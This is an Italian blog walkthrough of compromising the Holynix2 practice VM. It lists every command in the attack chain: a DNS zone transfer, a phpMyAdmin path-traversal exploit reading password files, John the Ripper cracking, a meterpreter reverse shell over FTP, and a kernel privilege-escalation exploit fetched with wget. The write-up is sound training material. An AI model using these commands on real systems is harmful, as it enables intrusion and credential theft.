mercoledì 21 settembre 2011

BackBox2 vs Holynix2

Mi sono di nuovo cimentato in un nuovo pentest su una live distro specificamente adattata per realizzare questi tutorial. Holynix è arrivata da tempo alla versione 2, avevo già risolto una volta questa distro, ma adesso l'ho rifatta per creare il video...



Come sempre un ringraziamento a g0tmi1k, e qui trovate il suo tutorial.

In questo video non spiegherò come l'altro i passaggi più elementari, perchè si possono imparare dagli altri video da me caricati che spiegano anche questi primi passaggi... Partirò già dall'identificazione dei servizi presenti sulla macchina... Ogni volta che la porta 80 è open, si deve fare un salto sulla pagina del webserver per scoprire informazioni... E proprio qui si notano i due diversi indirizzi presenti... E come è strutturata la richiesta per accedere ai file personali via ftp... Quindi passiamo a "scavare" con dig nelle informazioni che il dns ci fornisce... Infatti la porta 53 è aperta... Scopriamo subito che il secondo indirizzo ha un ip diverso... Settata l'ip dell'attacker sull'indirizzo di quella macchina, riproviamo con dig e proviamo ad effettuare un Transfer Zone da cui ricaviamo l'ip di un'altra macchina riconosciuta come "trusted", sicura o fidata... Risettiamo quindi l'ip con quest'ultimo a nostra disposizione...

Affidandoci a DirBuster(non presente sulla distrubuzione BackBox2, ma facilmente installabile con 2 comandi) possiamo realizzare un attacco brute force per scovare eventuali cartelle o file generici... Ed in contemporanea lanciamo nikto per scoprire un po' più informazioni sul webserver... DirBuster e nikto ci danno importanti informazioni... Troviamo un file che spiega come aggiornare l'ftp per un nuovo utente, ed in più troviamo phpMyAdmin che ci fornisce la versione di quest'ultimo e ci consente di sfruttare una sua vulnerabilità per elencare il contenuto di un file in modo remoto... Molto semplicemente cercando su exploit-db o sul relativo pacchetto scaricato(anch'esso non presente di default sulla distribuzione, ma molto facile da sistemare) possiamo utilizzare un exploit in perl per elencare il contentuto di /etc/passwd(non troppo utile in questo caso) e del file di configurazione trovato prima grazie a DirBuster... E proprio questo sarà dato a John The Ripper per trovare tramite attacco con wordlist le password associate ad ogni utente... A noi ne basta una, e con questa ci colleghiamo sul server ftp...

Dentro al server ftp possiamo caricare una nostra shell in php ed utilizzare msf per prender controllo della macchina... Adesso che abbiamo una shell dobbiamo scalare i privilegi... Con il comando uname -a troviamo la versione precisa del kernel... Sempre con il database di exploitdb possiamo trovare un Local Privileges Escalation relativo a questo kernel, quindi copiarlo avviando il nostro server http, copiandolo con wget sulla macchina da compromettere, compilarlo ed infine avviarlo per trovarci finalmente root...


Comandi
 
nmap -sP -n 192.168.1.*
nmap -sS -sV -n -O 192.168.1.88
firefox 192.168.1.88
echo "192.168.1.88 zincftp.com" >> /etc/hosts
cat /etc/hosts
dig zincftp.com @192.168.1.88
dig AXFR zincftp.com @192.168.1.88
geany /etc/resolv.conf
ifconfig eth0 192.168.1.89
dig AXFR zincftp.com @192.168.1.88
ifconfig eth0 192.168.1.34
cd /backbox/web/DirBuster-1.0-RC1
./DirBuster-1.0-RC1.sh #seguire il video per come settare DirBuster
nikto -host 'http://192.168.1.88'
firefox http://192.168.1.88/setup_guides/todo #oppure direttamente da DirBuster
firefox http://192.168.1.88/phpMyAdmin/ #oppure direttamente da DirBuster
cd /backbox/exploit/exploitdb/
grep -i phpmyadmin files.csv
cp platforms/php/webapps/1244.pl /tmp/
cd /tmp/
perl 1244.pl http://192.168.1.88 /phpMyAdmin/ ../../../../../etc/passwd | grep /bin/sh | cut -d ":" -f1 > /tmp/passwd
perl 1244.pl http://192.168.1.88 /phpMyAdmin/ ../../../../../etc/pure-ftpd/pureftpd.passwd | cut -d ":" -f1-2 > /tmp/ftpuser #nel video ho commesso un errore
cd /baxkbox/privilege_escalation/
./john --wordlist=/opt/metasploit3/msf3/data/john/wordlists/password.lst --rules /tmp/ftpuser
ftp 192.168.1.88#user:tmartin pass:millionaire
cd web
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=31337 -f raw > link.php
mv link.php /tmp/
put link.php#dentro alla shell dell'ftp
msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=31337 E
curl tmartin.zincftp.com/link.php
sysinfo
shell
python -c 'import pty;pty.spawn("/bin/sh")'
id
cd /home
ls -lahR
cd /home/amckinley
cat my_key.eml
cat /etc/passwd | grep amckinley
ssh amckinley@192.168.1.88 #pass: agustinmckinley2ba9
id
uname -a
cd /backbox/exploit/exploitdb/
grep -i "kernel 2.6" files.csv
cp platforms/linux/local/5092.c /tmp
mv /tmp/5092.c /var/www/
chmod 777 /var/www/5092.c
cd /tmp/
wget http://192.168.1.34/5092.c
gcc -o exploit 5092.c
./exploit
id
Commenti
Nel video ho commesso alcuni errori che nei comandi non sono presenti... Mi ero dimenticato di dare i permessi al file, oppure altri errori che sono stati tagliati dal video...Niente di che insomma...

Ringrazio questo articolo su pentestmonkey dove sono visualizzati alcuni metodi per ottenere una shell... 

Nessun commento: